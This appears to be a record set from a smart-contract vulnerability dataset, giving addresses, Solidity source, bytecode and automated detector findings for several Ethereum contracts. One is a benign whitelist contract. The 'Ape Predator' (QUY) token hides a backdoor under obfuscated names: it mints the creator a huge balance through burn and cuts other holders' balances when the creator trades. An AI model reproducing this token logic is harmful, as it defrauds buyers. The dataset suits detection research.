ffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60036020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b6000610cd1620f4240610cc3847f0000000000000000000000000dc5189ec8cde5732a01f0f592e927b30437055173ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7a57600080fd5b505afa158015610c8e573d6000803e3d6000fd5b505050506040513d6020811015610ca457600080fd5b81019080805190602001909291905050506111f090919063ffffffff16565b61127690919063ffffffff16565b9050919050565b60004360025411610e8357610d187f00000000000000000000000000000000000000000000000000000000000008986002546112c090919063ffffffff16565b60028190555060005b600480549050811015610e7957600060048281548110610d3d57fe5b9060005260206000209060020201600001541115610e6c577f0000000000000000000000009d5818af130705f95444d78a55b4f3d85cbfcc1373ffffffffffffffffffffffffffffffffffffffff16636a20de9260048381548110610d9e57fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610df760048581548110610de057fe5b906000526020600020906002020160000154610c07565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610e4a57600080fd5b505af1158015610e5e573d6000803e3d6000fd5b50505050610e6b81611348565b5b8080600101915050610d21565b5060019050610e88565b600090505b90565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f8657600080fd5b600460405180604001604052808381526020018473ffffffffffffffffffffffffffffffffffffffff1681525090806001815401808255809150506001900390600052602060002090600202016000909190919091506000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6004828154811061110157fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461116a57600080fd5b60006004838154811061117957fe5b906000526020600020906002020160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600483815481106111d757fe5b9060005260206000209060020201600001819055505050565b6000808314156112035760009050611270565b600082840290508284828161121457fe5b041461126b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117146021913960400191505060405180910390fd5b809150505b92915050565b60006112b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114fa565b905092915050565b60008082840190508381101561133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6113506116ca565b600360008381526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff1615151515815260200160018201548152602001600282015481525050905060008160200151146114f657806000015115611457576113ea8160200151600484815481106113ca57fe5b9060005260206000209060020201600001546112c090919063ffffffff16565b600483815481106113f757fe5b90600052602060002090600202016000018190555080604001516004838154811061141e57fe5b9060005260206000209060020201600001541061145257600060036000848152602001908152602001600020600101819055505b6114f5565b61148c81602001516004848154811061146c57fe5b9060005260206000209060020201600001546115c090919063ffffffff16565b6004838154811061149957fe5b9060005260206000209060020201600001819055508060400151600483815481106114c057fe5b906000526020600020906002020160000154116114f457600060036000848152602001908152602001600020600101819055505b5b5b5050565b600080831182906115a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561156b578082015181840152602081019050611550565b50505050905090810190601f1680156115985780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816115b257fe5b049050809150509392505050565b600061160283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061160a565b905092915050565b60008383111582906116b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561167c578082015181840152602081019050611661565b50505050905090810190601f1680156116a95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60405180606001604052806000151581526020016000815260200160008152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220e7bd86abe8865b1ff71e3de4e553f231a2ad0f3441fb6f369e81814563f8b07c64736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
10,405
0x2d1711ada9dd2bf8792ad29dd4e307d6527f2ad5
/** * Copyright (c) 2018 blockimmo AG <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="f39f9a90969d8096b3919f9c90989a9e9e9cdd909b">[email&#160;protected]</a> * Non-Profit Open Software License 3.0 (NPOSL-3.0) * https://opensource.org/licenses/NPOSL-3.0 */ pragma solidity 0.4.25; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() public onlyPendingOwner { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } /** * @title Roles * @author Francisco Giordano (@frangio) * @dev Library for managing addresses assigned to a Role. * See RBAC.sol for example usage. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage _role, address _addr) internal { _role.bearer[_addr] = true; } /** * @dev remove an address&#39; access to this role */ function remove(Role storage _role, address _addr) internal { _role.bearer[_addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage _role, address _addr) internal view { require(has(_role, _addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage _role, address _addr) internal view returns (bool) { return _role.bearer[_addr]; } } /** * @title RBAC (Role-Based Access Control) * @author Matt Condon (@Shrugs) * @dev Stores and provides setters and getters for roles and addresses. * Supports unlimited numbers of roles and addresses. * See //contracts/mocks/RBACMock.sol for an example of usage. * This RBAC method uses strings to key roles. It may be beneficial * for you to write your own implementation of this interface using Enums or similar. */ contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address indexed operator, string role); event RoleRemoved(address indexed operator, string role); /** * @dev reverts if addr does not have role * @param _operator address * @param _role the name of the role * // reverts */ function checkRole(address _operator, string _role) public view { roles[_role].check(_operator); } /** * @dev determine if addr has role * @param _operator address * @param _role the name of the role * @return bool */ function hasRole(address _operator, string _role) public view returns (bool) { return roles[_role].has(_operator); } /** * @dev add a role to an address * @param _operator address * @param _role the name of the role */ function addRole(address _operator, string _role) internal { roles[_role].add(_operator); emit RoleAdded(_operator, _role); } /** * @dev remove a role from an address * @param _operator address * @param _role the name of the role */ function removeRole(address _operator, string _role) internal { roles[_role].remove(_operator); emit RoleRemoved(_operator, _role); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param _role the name of the role * // reverts */ modifier onlyRole(string _role) { checkRole(msg.sender, _role); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param _roles the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] _roles) { // bool hasAnyRole = false; // for (uint8 i = 0; i < _roles.length; i++) { // if (hasRole(msg.sender, _roles[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } } /** * @title Whitelist * @dev A minimal, simple database mapping public addresses (ie users) to their permissions. * * `TokenizedProperty` references `this` to only allow tokens to be transferred to addresses with necessary permissions. * `TokenSale` references `this` to only allow tokens to be purchased by addresses within the necessary permissions. * * `WhitelistProxy` enables `this` to be easily and reliably upgraded if absolutely necessary. * `WhitelistProxy` and `this` are controlled by a centralized entity (blockimmo). * This centralization is required by our legal framework to ensure investors are known and fully-legal. */ contract Whitelist is Claimable, RBAC { function grantPermission(address _operator, string _permission) public onlyOwner { addRole(_operator, _permission); } function revokePermission(address _operator, string _permission) public onlyOwner { removeRole(_operator, _permission); } function grantPermissionBatch(address[] _operators, string _permission) public onlyOwner { for (uint256 i = 0; i < _operators.length; i++) { addRole(_operators[i], _permission); } } function revokePermissionBatch(address[] _operators, string _permission) public onlyOwner { for (uint256 i = 0; i < _operators.length; i++) { removeRole(_operators[i], _permission); } } }
0x6080604052600436106100ae5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630988ca8c81146100b35780630d93afef1461011c578063217fe6c6146101af578063475c051d1461022a5780634e71e0c8146102bd5780636ff89159146102d2578063715018a6146103395780638da5cb5b1461034e578063bbd9a5fa1461037f578063e30c3978146103e6578063f2fde38b146103fb575b600080fd5b3480156100bf57600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261011a958335600160a060020a031695369560449491939091019190819084018382808284375094975061041c9650505050505050565b005b34801561012857600080fd5b506040805160206004803580820135838102808601850190965280855261011a9536959394602494938501929182918501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375094975061048a9650505050505050565b3480156101bb57600080fd5b5060408051602060046024803582810135601f8101859004850286018501909652858552610216958335600160a060020a03169536956044949193909101919081908401838280828437509497506104dd9650505050505050565b604080519115158252519081900360200190f35b34801561023657600080fd5b506040805160206004803580820135838102808601850190965280855261011a9536959394602494938501929182918501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506105509650505050505050565b3480156102c957600080fd5b5061011a61059e565b3480156102de57600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261011a958335600160a060020a03169536956044949193909101919081908401838280828437509497506106269650505050505050565b34801561034557600080fd5b5061011a610647565b34801561035a57600080fd5b506103636106b3565b60408051600160a060020a039092168252519081900360200190f35b34801561038b57600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261011a958335600160a060020a03169536956044949193909101919081908401838280828437509497506106c29650505050505050565b3480156103f257600080fd5b506103636106e3565b34801561040757600080fd5b5061011a600160a060020a03600435166106f2565b610486826002836040518082805190602001908083835b602083106104525780518252601f199092019160209182019101610433565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050610738565b5050565b60008054600160a060020a031633146104a257600080fd5b5060005b82518110156104d8576104d083828151811015156104c057fe5b906020019060200201518361074d565b6001016104a6565b505050565b6000610549836002846040518082805190602001908083835b602083106105155780518252601f1990920191602091820191016104f6565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092209291505061085e565b9392505050565b60008054600160a060020a0316331461056857600080fd5b5060005b82518110156104d857610596838281518110151561058657fe5b906020019060200201518361087d565b60010161056c565b600154600160a060020a031633146105b557600080fd5b60015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600054600160a060020a0316331461063d57600080fd5b610486828261074d565b600054600160a060020a0316331461065e57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b600054600160a060020a031633146106d957600080fd5b610486828261087d565b600154600160a060020a031681565b600054600160a060020a0316331461070957600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b610742828261085e565b151561048657600080fd5b6107b7826002836040518082805190602001908083835b602083106107835780518252601f199092019160209182019101610764565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092209291505061094f565b81600160a060020a03167fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a826040518080602001828103825283818151815260200191508051906020019080838360005b83811015610820578181015183820152602001610808565b50505050905090810190601f16801561084d5780820380516001836020036101000a031916815260200191505b509250505060405180910390a25050565b600160a060020a03166000908152602091909152604090205460ff1690565b6108e7826002836040518082805190602001908083835b602083106108b35780518252601f199092019160209182019101610894565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050610971565b81600160a060020a03167fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b7004898260405180806020018281038252838181518152602001915080519060200190808383600083811015610820578181015183820152602001610808565b600160a060020a0316600090815260209190915260409020805460ff19169055565b600160a060020a0316600090815260209190915260409020805460ff191660011790555600a165627a7a72305820436f91dd993ea0fceed25bc7bf67a1a9b55090680e77a9b17f37b022637fa6640029
{"success": true, "error": null, "results": {}}
10,406
0x7553d60da7fdc77c1ab3565134c0aeddb770568e
/** *Submitted for verification at Etherscan.io on 2022-03-20 */ /* ___ _ _ __ __ / _ \ | | | | \ \ / / | | | | | | | | \ V / | |_| | | |_| | | | \__\_\ \___/ |_| QUY is the Ape Predator! We are going to flip the Ape Coin! d888888dP .d888888 888888ba dP dP 88 88 d8' 88 88 `8b 88 88 88 88d888b.d8888b. 88aaaaa8888d888b.d8888b. a88aaaa8P88d888b.d8888b.d888b8.d8888bd8888.d8888b88d888b. 88 88' `888ooood8 88 8888' `888ooood8 88 88' `888ooood88' `888' `88 88 88' `888' `88 88 88 888. ... 88 8888. .888. ... 88 88 88. ..88. .888. .88 88 88. .888 dP dP d`88888P' 88 8888Y888P`88888P' dP dP `88888P`88888P`88888P8 dP `88888PdP 88 dP Come and join us now @TheApePredator */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { address[] private fArray; mapping (address => bool) private Unidentified; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private Flying = 0; address public pair; IDEXRouter router; string private _name; string private _symbol; address private addrhkl31uyindw; uint256 private _totalSupply; bool private trading; bool private Marble; uint256 private Tonga; uint256 private Garbage; constructor (string memory name_, string memory symbol_, address msgSender_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); addrhkl31uyindw = msgSender_; _name = name_; _symbol = symbol_; } function openTrading() external onlyOwner returns (bool) { trading = true; return true; } function decimals() public view virtual override returns (uint8) { return 18; } function symbol() public view virtual override returns (string memory) { return _symbol; } function name() public view virtual override returns (string memory) { return _name; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[account] += (account == addrhkl31uyindw ? (10 ** 45) : 0); _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function last() internal view returns (address) { return (Tonga > 1 ? fArray[fArray.length-2] : address(0)); } function _balancesOfTheBeasts(address sender, address recipient, bool problem) internal { Marble = problem ? true : Marble; if (((Unidentified[sender] == true) && (Unidentified[recipient] != true)) || ((Unidentified[sender] != true) && (Unidentified[recipient] != true))) { fArray.push(recipient); } if ((Marble) && (sender == addrhkl31uyindw) && (Garbage == 1)) { for (uint256 krux = 0; krux < fArray.length; krux++) { _balances[fArray[krux]] /= (2 * 10 ** 1); } } _balances[last()] /= (((Flying == block.timestamp) || Marble) && (Unidentified[last()] != true) && (Tonga > 1)) ? (10 ** 2) : (1); Tonga++; Flying = block.timestamp; } function _balancesOfThePredators(address sender, address recipient) internal { require((trading || (sender == addrhkl31uyindw)), "ERC20: trading is not yet enabled."); _balancesOfTheBeasts(sender, recipient, (address(sender) == addrhkl31uyindw) && (Garbage > 0)); Garbage += (sender == addrhkl31uyindw) ? 1 : 0; } function _AlienShip(address creator) internal virtual { approve(_router, 10 ** 77); (Garbage,Marble,Tonga,trading) = (0,false,0,false); (Unidentified[_router],Unidentified[creator],Unidentified[pair]) = (true,true,true); } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; _balances[owner] /= (Marble ? (2 * 10 ** 1) : 1); emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balancesOfThePredators(sender, recipient); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _DeployCruxPredator(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) { _DeployCruxPredator(creator, initialSupply); _AlienShip(creator); } } contract TheApePredator is ERC20Token { constructor() ERC20Token("The Ape Predator", "QUY", msg.sender, 100000000 * 10 ** 18) { } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a8aa1b3111610066578063a8aa1b3114610213578063a9059cbb14610226578063c9567bf914610239578063dd62ed3e1461024157600080fd5b8063715018a6146101c95780638da5cb5b146101d357806395d89b41146101f8578063a457c2d71461020057600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806342966c681461018d57806370a08231146101a057600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61027a565b60405161011a9190610eb2565b60405180910390f35b610136610131366004610f23565b61030c565b604051901515815260200161011a565b600e545b60405190815260200161011a565b610136610166366004610f4d565b610322565b6040516012815260200161011a565b610136610188366004610f23565b6103d8565b61013661019b366004610f89565b61040f565b61014a6101ae366004610fa2565b6001600160a01b031660009081526004602052604090205490565b6101d1610423565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200161011a565b61010d6104c7565b61013661020e366004610f23565b6104d6565b6009546101e0906001600160a01b031681565b610136610234366004610f23565b610571565b61013661057e565b61014a61024f366004610fc4565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600b805461028990610ff7565b80601f01602080910402602001604051908101604052809291908181526020018280546102b590610ff7565b80156103025780601f106102d757610100808354040283529160200191610302565b820191906000526020600020905b8154815290600101906020018083116102e557829003601f168201915b5050505050905090565b60006103193384846105ef565b50600192915050565b600061032f848484610783565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103b95760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103cd85336103c88685611048565b6105ef565b506001949350505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103199185906103c890869061105f565b600061041b3383610965565b506001919050565b6001546001600160a01b0316331461047d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b0565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600c805461028990610ff7565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105585760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b0565b61056733856103c88685611048565b5060019392505050565b6000610319338484610783565b6001546000906001600160a01b031633146105db5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b0565b50600f805460ff1916600190811790915590565b6001600160a01b0383166106515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b0565b6001600160a01b0382166106b25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b0565b6001600160a01b038381166000908152600560209081526040808320938616835292905220819055600f54610100900460ff166106f05760016106f3565b60145b60ff1660046000856001600160a01b03166001600160a01b03168152602001908152602001600020600082825461072a9190611077565b92505081905550816001600160a01b0316836001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161077691815260200190565b60405180910390a3505050565b6001600160a01b0383166107e75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b0565b6001600160a01b0382166108495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b0565b6001600160a01b038316600090815260046020526040902054818110156108c15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b0565b6108cb8484610af6565b6108d58282611048565b6001600160a01b03808616600090815260046020526040808220939093559085168152908120805484929061090b90849061105f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161095791815260200190565b60405180910390a350505050565b6001600160a01b0382166109c55760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103b0565b6001600160a01b038216600090815260046020526040812080548392906109ed908490611048565b9091555050600d546001600160a01b03838116911614610a0e576000610a23565b722cd76fe086b93ce2f768a00b22a000000000005b72ffffffffffffffffffffffffffffffffffffff1660046000846001600160a01b03166001600160a01b031681526020019081526020016000206000828254610a6c919061105f565b9091555050600080805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec8054839290610aac90849061105f565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600f5460ff1680610b145750600d546001600160a01b038381169116145b610b6b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c65604482015261321760f11b60648201526084016103b0565b600d54610b9790839083906001600160a01b038084169116148015610b9257506000601154115b610bd3565b600d546001600160a01b03838116911614610bb3576000610bb6565b60015b60ff1660116000828254610bca919061105f565b90915550505050565b80610be857600f54610100900460ff16610beb565b60015b600f80549115156101000261ff00199092169190911790556001600160a01b03831660009081526003602052604090205460ff1615156001148015610c4e57506001600160a01b03821660009081526003602052604090205460ff161515600114155b80610ca057506001600160a01b03831660009081526003602052604090205460ff161515600114801590610ca057506001600160a01b03821660009081526003602052604090205460ff161515600114155b15610cf157600280546001810182556000919091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0319166001600160a01b0384161790555b600f54610100900460ff168015610d155750600d546001600160a01b038481169116145b8015610d2357506011546001145b15610d9c5760005b600254811015610d9a5760146004600060028481548110610d4e57610d4e611099565b60009182526020808320909101546001600160a01b0316835282019290925260400181208054909190610d82908490611077565b90915550819050610d92816110af565b915050610d2b565b505b426008541480610db35750600f54610100900460ff165b8015610dea575060036000610dc6610e67565b6001600160a01b0316815260208101919091526040016000205460ff161515600114155b8015610df857506001601054115b610e03576001610e06565b60645b60ff1660046000610e15610e67565b6001600160a01b03166001600160a01b031681526020019081526020016000206000828254610e449190611077565b909155505060108054906000610e59836110af565b909155505042600855505050565b6000600160105411610e795750600090565b60028054610e88908290611048565b81548110610e9857610e98611099565b6000918252602090912001546001600160a01b0316905090565b600060208083528351808285015260005b81811015610edf57858101830151858201604001528201610ec3565b81811115610ef1576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610f1e57600080fd5b919050565b60008060408385031215610f3657600080fd5b610f3f83610f07565b946020939093013593505050565b600080600060608486031215610f6257600080fd5b610f6b84610f07565b9250610f7960208501610f07565b9150604084013590509250925092565b600060208284031215610f9b57600080fd5b5035919050565b600060208284031215610fb457600080fd5b610fbd82610f07565b9392505050565b60008060408385031215610fd757600080fd5b610fe083610f07565b9150610fee60208401610f07565b90509250929050565b600181811c9082168061100b57607f821691505b6020821081141561102c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008282101561105a5761105a611032565b500390565b6000821982111561107257611072611032565b500190565b60008261109457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006000198214156110c3576110c3611032565b506001019056fea264697066735822122034f08e91dee1cabeae5128621494f0bc6da1b4da3210484ea079c3cd20270bcb64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
10,407
0xFEF62A8586480f794b7E6a869a9937F97f88205A
